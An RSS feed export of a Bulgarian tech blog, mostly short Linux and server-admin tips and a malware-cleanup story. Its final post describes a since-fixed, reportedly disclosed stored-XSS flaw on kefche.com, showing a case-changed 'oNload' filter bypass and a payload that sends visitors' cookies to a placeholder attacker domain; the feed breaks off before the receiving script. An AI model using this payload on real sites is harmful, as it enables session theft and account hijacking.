<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BG Tech Blog &#187; Всичко друго</title>
	<atom:link href="http://bgtechblog.com/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://bgtechblog.com</link>
	<description>Проблемите, с които се сблъскваме всеки ден</description>
	<lastBuildDate>Fri, 18 May 2012 22:33:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Как да изкараме всички картинки от PDF файл?</title>
		<link>http://bgtechblog.com/2012/05/09/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%b8%d0%b7%d0%ba%d0%b0%d1%80%d0%b0%d0%bc%d0%b5-%d0%b2%d1%81%d0%b8%d1%87%d0%ba%d0%b8-%d0%ba%d0%b0%d1%80%d1%82%d0%b8%d0%bd%d0%ba%d0%b8-%d0%be%d1%82-pdf-%d1%84%d0%b0/</link>
		<comments>http://bgtechblog.com/2012/05/09/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%b8%d0%b7%d0%ba%d0%b0%d1%80%d0%b0%d0%bc%d0%b5-%d0%b2%d1%81%d0%b8%d1%87%d0%ba%d0%b8-%d0%ba%d0%b0%d1%80%d1%82%d0%b8%d0%bd%d0%ba%d0%b8-%d0%be%d1%82-pdf-%d1%84%d0%b0/#comments</comments>
		<pubDate>Wed, 09 May 2012 10:01:41 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Quick Tips]]></category>
		<category><![CDATA[Всичко друго]]></category>
		<category><![CDATA[extract images from pdf]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[pdf images]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=771</guid>
		<description><![CDATA[Елементарно Уотсън! За целта използваме командата &#8220;pdfimages&#8220;, но първо трябва да инсталираме това: apt-get install poppler-utils Нека нашият PDF файл се казва test.pdf. За да изкараме картинките от него, използваме следната команда: pdfimages -j test.pdf img Това ще извади всички картинки от PDF файла като .jpg с префикс &#8220;img&#8221;. Пример: img-001.jpg, img-002.jpg Tags: extract images [...]]]></description>
			<content:encoded><![CDATA[<p>Елементарно <a href="http://bg.wikipedia.org/wiki/%D0%94%D0%BE%D0%BA%D1%82%D0%BE%D1%80_%D0%A3%D0%BE%D1%82%D1%81%D1%8A%D0%BD">Уотсън</a>! <img src='http://bgtechblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>За целта използваме командата &#8220;<strong><em>pdfimages</em></strong>&#8220;, но първо трябва да инсталираме това:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> poppler-utils</pre></div></div>

<p>Нека нашият PDF файл се казва test.pdf. За да изкараме картинките от него, използваме следната команда:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">pdfimages <span style="color: #660033;">-j</span> test.pdf img</pre></div></div>

<p>Това ще извади всички картинки от PDF файла като .jpg с префикс &#8220;img&#8221;. Пример: img-001.jpg, img-002.jpg</p>

	Tags: <a href="http://bgtechblog.com/tag/extract-images-from-pdf/" title="extract images from pdf" rel="tag">extract images from pdf</a>, <a href="http://bgtechblog.com/tag/pdf/" title="pdf" rel="tag">pdf</a>, <a href="http://bgtechblog.com/tag/pdf-images/" title="pdf images" rel="tag">pdf images</a><br />
]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/05/09/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%b8%d0%b7%d0%ba%d0%b0%d1%80%d0%b0%d0%bc%d0%b5-%d0%b2%d1%81%d0%b8%d1%87%d0%ba%d0%b8-%d0%ba%d0%b0%d1%80%d1%82%d0%b8%d0%bd%d0%ba%d0%b8-%d0%be%d1%82-pdf-%d1%84%d0%b0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>str_split &#8211; най-лесния начин да си форматирам цифрите :-)</title>
		<link>http://bgtechblog.com/2012/05/04/str_split-%d0%bd%d0%b0%d0%b9-%d0%bb%d0%b5%d1%81%d0%bd%d0%b8%d1%8f-%d0%bd%d0%b0%d1%87%d0%b8%d0%bd-%d0%b4%d0%b0-%d1%81%d0%b8-%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%82%d0%b8%d1%80%d0%b0%d0%bc-%d1%86%d0%b8/</link>
		<comments>http://bgtechblog.com/2012/05/04/str_split-%d0%bd%d0%b0%d0%b9-%d0%bb%d0%b5%d1%81%d0%bd%d0%b8%d1%8f-%d0%bd%d0%b0%d1%87%d0%b8%d0%bd-%d0%b4%d0%b0-%d1%81%d0%b8-%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%82%d0%b8%d1%80%d0%b0%d0%bc-%d1%86%d0%b8/#comments</comments>
		<pubDate>Fri, 04 May 2012 09:52:48 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[How to ... ?]]></category>
		<category><![CDATA[Всичко друго]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=768</guid>
		<description><![CDATA[Как ми трябваше начин да разделя дългите номера на товарителниците за да са по-читаеми за хората&#8230; а всъщност е толкова лесно Ако и вие искате да разделите дългите си цифри, използвайте str_split No tags for this post.]]></description>
			<content:encoded><![CDATA[<p>Как ми трябваше начин да разделя дългите номера на товарителниците за да са по-читаеми за хората&#8230; а всъщност е толкова лесно <img src='http://bgtechblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Ако и вие искате да разделите дългите си цифри, използвайте <a href="http://www.php.net/manual/en/function.str-split.php">str_split</a></p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/05/04/str_split-%d0%bd%d0%b0%d0%b9-%d0%bb%d0%b5%d1%81%d0%bd%d0%b8%d1%8f-%d0%bd%d0%b0%d1%87%d0%b8%d0%bd-%d0%b4%d0%b0-%d1%81%d0%b8-%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%82%d0%b8%d1%80%d0%b0%d0%bc-%d1%86%d0%b8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Имало едно време, една хакната машина&#8230;</title>
		<link>http://bgtechblog.com/2012/03/18/%d0%b8%d0%bc%d0%b0%d0%bb%d0%be-%d0%b5%d0%b4%d0%bd%d0%be-%d0%b2%d1%80%d0%b5%d0%bc%d0%b5-%d0%b5%d0%b4%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%bd%d0%b0%d1%82%d0%b0-%d0%bc%d0%b0%d1%88%d0%b8%d0%bd%d0%b0/</link>
		<comments>http://bgtechblog.com/2012/03/18/%d0%b8%d0%bc%d0%b0%d0%bb%d0%be-%d0%b5%d0%b4%d0%bd%d0%be-%d0%b2%d1%80%d0%b5%d0%bc%d0%b5-%d0%b5%d0%b4%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%bd%d0%b0%d1%82%d0%b0-%d0%bc%d0%b0%d1%88%d0%b8%d0%bd%d0%b0/#comments</comments>
		<pubDate>Sat, 17 Mar 2012 22:31:44 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Всичко друго]]></category>
		<category><![CDATA[Защита]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[flood]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[suPHP]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=749</guid>
		<description><![CDATA[Звучи като приказка, нали? Всъщност е реална история за това как трябваше да открия и да изтрия гаден &#8220;вирус&#8221; от един сървър. При поредната проверка на пощата ми, чета писмо от datacenter-a, в който се намира една от машините ми. Там пишеше, че ако до няколко часа не разреша проблема с машината, тя ще бъде [...]]]></description>
			<content:encoded><![CDATA[<p>Звучи като приказка, нали? Всъщност е реална история за това как трябваше да открия и да изтрия гаден &#8220;вирус&#8221; от един сървър.</p>
<p>При поредната проверка на пощата ми, чета писмо от datacenter-a, в който се намира една от машините ми. Там пишеше, че ако до няколко часа не разреша проблема с машината, тя ще бъде спряна. По-долу беше обяснено, че от нея има изключително много изходящи конекции, които flood-ят суича, към който е вързана машината.</p>
<p>И така, започна се&#8230;</p>
<p>В началото трябваше да намеря кой точно е процеса, предизвикващ въпросните конекции. Използвах <i><strong>ps auxw</strong></i> за да разгледам процесите, които в момента се изпълняваха на машината. На пръв поглед нямаше нищо необичайно &#8211; ftp, mysql, apache, ssh и още купчина други, с които няма да ви губя времето.<br />
Но един от тях ми привлече вниманието, а именно <i><strong>/usr/local/apache2/bin/httpd</strong></i>. Нищо необичайно, нали? Всъщност проблема е, че моето apache се намира в друга директория&#8230; Ето и заподозреният <img src='http://bgtechblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>От тук нататък ще използвам прякорът &#8220;<em>сивчо</em>&#8221; за да не разкривам все пак за кой сайт става въпрос <img src='http://bgtechblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Забелязах, че въпросният процес се изпълнява с потребител &#8220;<em>сивчо</em>&#8220;. Това означаваше точно две неща:<br />
1. Машината ми не е root-ната. Тоест, мога да си я използвам без да е наложителна преинсталация.<br />
2. Някой, някак е успял да хакне акаунта на &#8220;<em>сивчо</em>&#8221; &#8211; лесна парола или остарял РНР скрипт.</p>
<p>Първото ме успокои&#8230; пфу!</p>
<p>Започнах да разследвам &#8220;<em>сивчо</em>&#8221; и да видя какво е правил в последно време, но преди това заключих цялата му директория за всеки случай:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>сивчо</pre></div></div>

<p>Използвах командата</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>сивчо<span style="color: #000000; font-weight: bold;">/</span>public_html <span style="color: #660033;">-mtime</span> <span style="color: #660033;">-30</span> <span style="color: #660033;">-o</span> <span style="color: #660033;">-ctime</span> <span style="color: #660033;">-30</span> <span style="color: #660033;">-ls</span></pre></div></div>

<p> за да разбера кои файлове е променял в последните 30 дни. Тук ударих на камък &#8211; няма нито 1 променен файл. Това означаваше, че скрипта не е писал по файлове, принадлежащи на &#8220;<em>сивчо</em>&#8220;&#8230; пълна мистерия&#8230;</p>
<p>Видях кой е Process ID на въпросния скрипт и отидох да го поразгледам. Нека кажем, че PID е <strong>2012</strong>.<br />
Влязох в директорията на процеса:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2012</span><span style="color: #000000; font-weight: bold;">/</span></pre></div></div>

<p>Исках да разбера, кой всъщност е файла, който се изпълнява зад този процес. А именно, на къде сочи <strong>exe</strong> файла. В случея &#8211; към root директорията &#8220;<strong>/</strong>&#8220;. Пак удрям на камък.<br />
Исках да видя коя команда е използвана за да се стартира процеса, като погледа съдържанието на <strong>cmdline</strong> файла, но и той беше празен. Камък.<br />
Погледнах в директорията <strong>fd</strong>, за да видя по кой файлове пише и чете процеса. Там имаше само сокети и apache error log файла. Това ме наведе на мисълта, че може би щях да мога да видя кои други файлове са се стартирали от потребител &#8220;сивчо&#8221; и евентуално да разбера точно в кой РНР файл е дупката за да я оправя или да предупредя клиента. Нямаше нищо. Погледнах и в лога на suPHP, но и там беше празно.</p>
<p>Отидох в <strong>/tmp/</strong> директорията, която също се използваше от процеса. Там видях доста (десетина) скрити директории, принадлежащи на потребител &#8220;сивчо&#8221; и един странен <em>.tgz</em> файл, който при опит да разкомпресирам върна греша. Предположих, че това е самият &#8220;вирус&#8221;.</p>
<p>От тук нататък, изчерпан от идеи, реших да не се занимавам с ходене по следи от трохи, а просто да реша проблема. Убих процесите и изтрих скритите файлове и директории на &#8220;сивчо&#8221;. Това реши проблема, надявам се за постоянно. Все пак погледнах в <strong>/var/spool/cron/</strong> да не би случайно там да има рестариращ процеса скрипт, но всичко беше наред.</p>
<p>Заключението ми е, че може би сам съм пренесал вируса от друг сървър при смяната на машините, която се случи преди известно време.</p>

	Tags: <a href="http://bgtechblog.com/tag/apache/" title="apache" rel="tag">apache</a>, <a href="http://bgtechblog.com/tag/flood/" title="flood" rel="tag">flood</a>, <a href="http://bgtechblog.com/tag/ssh/" title="ssh" rel="tag">ssh</a>, <a href="http://bgtechblog.com/tag/suphp/" title="suPHP" rel="tag">suPHP</a><br />
]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/03/18/%d0%b8%d0%bc%d0%b0%d0%bb%d0%be-%d0%b5%d0%b4%d0%bd%d0%be-%d0%b2%d1%80%d0%b5%d0%bc%d0%b5-%d0%b5%d0%b4%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%bd%d0%b0%d1%82%d0%b0-%d0%bc%d0%b0%d1%88%d0%b8%d0%bd%d0%b0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Increase The Maximum Number Of Open Files / File Descriptors</title>
		<link>http://bgtechblog.com/2012/03/17/linux-increase-the-maximum-number-of-open-files-file-descriptors/</link>
		<comments>http://bgtechblog.com/2012/03/17/linux-increase-the-maximum-number-of-open-files-file-descriptors/#comments</comments>
		<pubDate>Sat, 17 Mar 2012 21:38:46 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Всичко друго]]></category>
		<category><![CDATA[file-max]]></category>
		<category><![CDATA[maximum]]></category>
		<category><![CDATA[Number]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=739</guid>
		<description><![CDATA[За да увеличим максималния брой на отворени файлове за определен процес, трябва да напишем следната команда: sysctl -w fs.file-max=100000 Ако искаме настройката да е валидна и след рестартиране на машина във файла /etc/sysctl.conf добавяме следният ред: fs.file-max = 100000 За да проверите дали всичко е наред и правилно запаметено, използвайте следната команда: blagomir@firefly:~$ sysctl fs.file-max [...]]]></description>
			<content:encoded><![CDATA[<p>За да увеличим максималния брой на отворени файлове за определен процес, трябва да напишем следната команда:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">sysctl <span style="color: #660033;">-w</span> fs.file-max=<span style="color: #000000;">100000</span></pre></div></div>

<p>Ако искаме настройката да е валидна и след рестартиране на машина във файла /etc/sysctl.conf добавяме следният ред:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">fs.file-max = <span style="color: #000000;">100000</span></pre></div></div>

<p>За да проверите дали всичко е наред и правилно запаметено, използвайте следната команда:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">blagomir<span style="color: #000000; font-weight: bold;">@</span>firefly:~$ sysctl fs.file-max
fs.file-max = <span style="color: #000000;">100000</span>
blagomir<span style="color: #000000; font-weight: bold;">@</span>firefly:~$</pre></div></div>


	Tags: <a href="http://bgtechblog.com/tag/file-max/" title="file-max" rel="tag">file-max</a>, <a href="http://bgtechblog.com/tag/maximum/" title="maximum" rel="tag">maximum</a>, <a href="http://bgtechblog.com/tag/number/" title="Number" rel="tag">Number</a><br />
]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/03/17/linux-increase-the-maximum-number-of-open-files-file-descriptors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Just fun или от нямане какво да правя&#8230;</title>
		<link>http://bgtechblog.com/2012/03/07/just-fun-%d0%b8%d0%bb%d0%b8-%d0%be%d1%82-%d0%bd%d1%8f%d0%bc%d0%b0%d0%bd%d0%b5-%d0%ba%d0%b0%d0%ba%d0%b2%d0%be-%d0%b4%d0%b0-%d0%bf%d1%80%d0%b0%d0%b2%d1%8f/</link>
		<comments>http://bgtechblog.com/2012/03/07/just-fun-%d0%b8%d0%bb%d0%b8-%d0%be%d1%82-%d0%bd%d1%8f%d0%bc%d0%b0%d0%bd%d0%b5-%d0%ba%d0%b0%d0%ba%d0%b2%d0%be-%d0%b4%d0%b0-%d0%bf%d1%80%d0%b0%d0%b2%d1%8f/#comments</comments>
		<pubDate>Wed, 07 Mar 2012 14:58:17 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Всичко друго]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=730</guid>
		<description><![CDATA[Не, не че няма какво да се прави, но прочетох в един блог това и ми стана интересно. Реших да изкопирам идеята, а именно да покажа в колко машини съм се логвал от 1 Януари 2012 до момента. Как става това ли? blagomir@firefly:~$ cat .ssh/known_hosts &#124; wc -l 46 Отговор: 46 P.S. Като се замисля [...]]]></description>
			<content:encoded><![CDATA[<p>Не, не че няма какво да се прави, но прочетох в един блог това и ми стана интересно. Реших да изкопирам идеята, а именно да покажа в колко машини съм се логвал от 1 Януари 2012 до момента.</p>
<p>Как става това ли?</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">blagomir<span style="color: #000000; font-weight: bold;">@</span>firefly:~$ <span style="color: #c20cb9; font-weight: bold;">cat</span> .ssh<span style="color: #000000; font-weight: bold;">/</span>known_hosts <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">wc</span> <span style="color: #660033;">-l</span>
<span style="color: #000000;">46</span></pre></div></div>

<p>Отговор: <strong>46</strong></p>
<p><strong>P.S.</strong> Като се замисля май не са чак толкова много&#8230;</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/03/07/just-fun-%d0%b8%d0%bb%d0%b8-%d0%be%d1%82-%d0%bd%d1%8f%d0%bc%d0%b0%d0%bd%d0%b5-%d0%ba%d0%b0%d0%ba%d0%b2%d0%be-%d0%b4%d0%b0-%d0%bf%d1%80%d0%b0%d0%b2%d1%8f/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Failed to save scheduled backup : Deletion of old backups is only supported when a date-based destination is used, and strftime substitutions are enabled</title>
		<link>http://bgtechblog.com/2012/03/07/failed-to-save-scheduled-backup-deletion-of-old-backups-is-only-supported-when-a-date-based-destination-is-used-and-strftime-substitutions-are-enabled/</link>
		<comments>http://bgtechblog.com/2012/03/07/failed-to-save-scheduled-backup-deletion-of-old-backups-is-only-supported-when-a-date-based-destination-is-used-and-strftime-substitutions-are-enabled/#comments</comments>
		<pubDate>Wed, 07 Mar 2012 14:22:49 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Server Control Panel]]></category>
		<category><![CDATA[Virtualmin / Webmin]]></category>
		<category><![CDATA[Всичко друго]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=725</guid>
		<description><![CDATA[Или как да направим разделени по година/месец/ден бекъпи във Virtualmin/Webmin. При настройка на бекъпа, в &#8220;Destination and format&#8221; карето, избираме директорията, в която искаме да се прави бекъпа. До тук всичко е супер, но ако искаме и бекъпите автоматично да се изтриват след Х дни, трябва да напишем директорията така: /my_backups/%y/%m/%d No tags for this [...]]]></description>
			<content:encoded><![CDATA[<p>Или как да направим разделени по година/месец/ден бекъпи във Virtualmin/Webmin.</p>
<p>При настройка на бекъпа, в &#8220;Destination and format&#8221; карето, избираме директорията, в която искаме да се прави бекъпа.<br />
До тук всичко е супер, но ако искаме и бекъпите автоматично да се изтриват след Х дни, трябва да напишем директорията така:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">/</span>my_backups<span style="color: #000000; font-weight: bold;">/%</span>y<span style="color: #000000; font-weight: bold;">/%</span>m<span style="color: #000000; font-weight: bold;">/%</span>d</pre></div></div>

No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/03/07/failed-to-save-scheduled-backup-deletion-of-old-backups-is-only-supported-when-a-date-based-destination-is-used-and-strftime-substitutions-are-enabled/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MacBook Pro VS Ordinary Laptop</title>
		<link>http://bgtechblog.com/2012/01/19/macbook-pro-vs-ordinary-laptop/</link>
		<comments>http://bgtechblog.com/2012/01/19/macbook-pro-vs-ordinary-laptop/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 16:13:16 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Всичко друго]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=722</guid>
		<description><![CDATA[MacBook Pro или обикновен лаптоп ще е по-полезен в работата и ежедневието ви и защо? No tags for this post.]]></description>
			<content:encoded><![CDATA[<p>MacBook Pro или обикновен лаптоп ще е по-полезен в работата и ежедневието ви и защо?</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2012/01/19/macbook-pro-vs-ordinary-laptop/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Весела Коледа!</title>
		<link>http://bgtechblog.com/2011/12/22/%d0%b2%d0%b5%d1%81%d0%b5%d0%bb%d0%b0-%d0%ba%d0%be%d0%bb%d0%b5%d0%b4%d0%b0/</link>
		<comments>http://bgtechblog.com/2011/12/22/%d0%b2%d0%b5%d1%81%d0%b5%d0%bb%d0%b0-%d0%ba%d0%be%d0%bb%d0%b5%d0%b4%d0%b0/#comments</comments>
		<pubDate>Thu, 22 Dec 2011 12:34:02 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Всичко друго]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=683</guid>
		<description><![CDATA[Весела Коледа! Екипът на BGTechBlog.com Ви пожелава Весела Коледа и незабравими моменти с най-близките! &#160; No tags for this post.]]></description>
			<content:encoded><![CDATA[<p><a href="http://bgtechblog.com/2011/12/22/%d0%b2%d0%b5%d1%81%d0%b5%d0%bb%d0%b0-%d0%ba%d0%be%d0%bb%d0%b5%d0%b4%d0%b0/santa/" rel="attachment wp-att-684"><img src="http://bgtechblog.com/wp-content/uploads/2011/12/santa.png" alt="" title="santa" width="128" height="128" class="alignleft size-full wp-image-684" /></a> <span style="font-size:30px; padding-top:10px;">Весела Коледа!</span></p>
<p>Екипът на BGTechBlog.com Ви пожелава Весела Коледа и незабравими моменти с най-близките!</p>
<div style="margin-top:60px;">&nbsp;</div>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2011/12/22/%d0%b2%d0%b5%d1%81%d0%b5%d0%bb%d0%b0-%d0%ba%d0%be%d0%bb%d0%b5%d0%b4%d0%b0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как да открием изгорели пиксели на монитора си?</title>
		<link>http://bgtechblog.com/2011/12/12/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%be%d1%82%d0%ba%d1%80%d0%b8%d0%b5%d0%bc-%d0%b8%d0%b7%d0%b3%d0%be%d1%80%d0%b5%d0%bb%d0%b8-%d0%bf%d0%b8%d0%ba%d1%81%d0%b5%d0%bb%d0%b8-%d0%bd%d0%b0-%d0%bc%d0%be%d0%bd/</link>
		<comments>http://bgtechblog.com/2011/12/12/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%be%d1%82%d0%ba%d1%80%d0%b8%d0%b5%d0%bc-%d0%b8%d0%b7%d0%b3%d0%be%d1%80%d0%b5%d0%bb%d0%b8-%d0%bf%d0%b8%d0%ba%d1%81%d0%b5%d0%bb%d0%b8-%d0%bd%d0%b0-%d0%bc%d0%be%d0%bd/#comments</comments>
		<pubDate>Mon, 12 Dec 2011 21:32:38 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Всичко друго]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=656</guid>
		<description><![CDATA[Първо ще поясня, че има 3 вида пиксели: 1. Работещи 2. Изгорели 3. Блокирали или така наречените Stuck pixel-и Практически няма софтуер, който да инсталирате и да Ви каже дали имате изгорели пиксели по монитора. Най-добрият вариант е сами да разгледате монитора си обстойно, като в помощ идва този сайт. Технически сайта не прави нищо [...]]]></description>
			<content:encoded><![CDATA[<p>Първо ще поясня, че има 3 вида пиксели:<br />
1. Работещи<br />
2. Изгорели<br />
3. Блокирали или така наречените Stuck pixel-и</p>
<p>Практически няма софтуер, който да инсталирате и да Ви каже дали имате изгорели пиксели по монитора. Най-добрият вариант е сами да разгледате монитора си обстойно, като в помощ идва <a href="http://jasonfarrell.com/misc/deadpixeltest.php">този сайт</a>. Технически сайта не прави нищо друго, освен да ви показва подходящи едноцветни фонове, на които изгорелите и блокирали пиксели да се отличат по-лесно.</p>
<p>За изгорелите пиксели спасение няма. Намирате ги, грабвате гаранционната карта на монитора/лаптопа и се връщате в магазина за да Ви го сменят.</p>
<p>Теоретично, <strong>заспалите пиксели (stuck pixel)</strong> могат да се &#8220;събудят&#8221; като се &#8220;бомбандират&#8221; с различни цветове за кратък интервал от време. Аз лично не препоръчвам да се опитвате, защото ми се струва загуба на време, но все пак ако решите, <a href="http://www.jads.co.uk/screen-repair/jscreenfix-deluxe">ТУК</a> може да намерите софтуер, който прави точно това &#8220;бомбандиране&#8221;.</p>
No tags for this post.]]></content:encoded>
			<wfw:commentRss>http://bgtechblog.com/2011/12/12/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%be%d1%82%d0%ba%d1%80%d0%b8%d0%b5%d0%bc-%d0%b8%d0%b7%d0%b3%d0%be%d1%80%d0%b5%d0%bb%d0%b8-%d0%bf%d0%b8%d0%ba%d1%81%d0%b5%d0%bb%d0%b8-%d0%bd%d0%b0-%d0%bc%d0%be%d0%bd/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Как хакнах kefche.com? :)</title>
		<link>http://bgtechblog.com/2011/08/12/%d0%ba%d0%b0%d0%ba-%d1%85%d0%b0%d0%ba%d0%bd%d0%b0%d1%85-kefche-com/</link>
		<comments>http://bgtechblog.com/2011/08/12/%d0%ba%d0%b0%d0%ba-%d1%85%d0%b0%d0%ba%d0%bd%d0%b0%d1%85-kefche-com/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 12:20:52 +0000</pubDate>
		<dc:creator>Благомир Иванов</dc:creator>
				<category><![CDATA[Всичко друго]]></category>
		<category><![CDATA[Защита]]></category>

		<guid isPermaLink="false">http://bgtechblog.com/?p=563</guid>
		<description><![CDATA[Като начало ще кажа, че предварително съм уведомил най-главния администратор, (или поне така пишеше в екипа на сайта) mesmeric, за проблема. И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена. Какво се случи всъщност&#8230; Както [...]]]></description>
			<content:encoded><![CDATA[<p>Като начало ще кажа, че предварително съм уведомил <em>най-главния администратор</em>, (или поне така пишеше в екипа на сайта) <a href="http://kefche.com/mesmeric">mesmeric</a>, за проблема.</p>
<p>И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.</p>
<p>Какво се случи всъщност&#8230;</p>
<p>Както се &#8220;разхождах&#8221; насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.<br />
<em>Профил -> Настройки -> Описание</em> и там написах следното:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;body onload=&quot;alert('hello world');&quot;&gt;</pre></div></div>

<p>Тъй като не се получи, опитах нещо друго, а именно:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;body oNload=&quot;alert('hello world');&quot;&gt;</pre></div></div>

<p>Забележете, че тук имам главно <strong>N</strong>. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в <strong>oNload</strong> таг-а.</p>
<p>Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).<br />
Използвах следният скрипт:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;body onLoad=&quot;new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];&quot;&gt;</pre></div></div>

<p>Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:</p>
<p><strong>kefche.php</strong></p>

